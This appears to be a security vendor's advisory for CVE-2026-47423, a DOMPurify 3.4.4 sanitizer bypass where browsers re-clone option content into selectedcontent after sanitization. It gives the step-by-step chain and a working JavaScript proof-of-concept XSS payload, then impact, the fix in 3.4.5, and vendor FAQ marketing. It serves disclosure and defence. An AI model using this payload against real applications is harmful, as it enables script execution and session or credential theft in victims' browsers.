CVE-2026-47423

DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details

The chain is as follows:

1. The browser parses the input and creates a <selectedcontent> clone from the selected <option>
2. DOMPurify walks and sanitizes that generated clone.
3. DOMPurify reaches the original <option> and removes selected=javascript:1
4. The browser refreshes the <selectedcontent> clone from the original option's content.
5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC

const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625:

<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:

<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-47423 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.4.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-47423? CVE-2026-47423 is a high-severity cross-site scripting (XSS) vulnerability in dompurify (npm), affecting versions = 3.4.4. It is fixed in 3.4.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-47423? CVE-2026-47423 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of dompurify are affected by CVE-2026-47423? dompurify (npm) versions = 3.4.4 is affected.
4. Is there a fix for CVE-2026-47423? Yes. CVE-2026-47423 is fixed in 3.4.5. Upgrade to this version or later.
5. Is CVE-2026-47423 exploitable, and should I be worried? Whether CVE-2026-47423 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-47423 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-47423? Upgrade dompurify to 3.4.5 or later.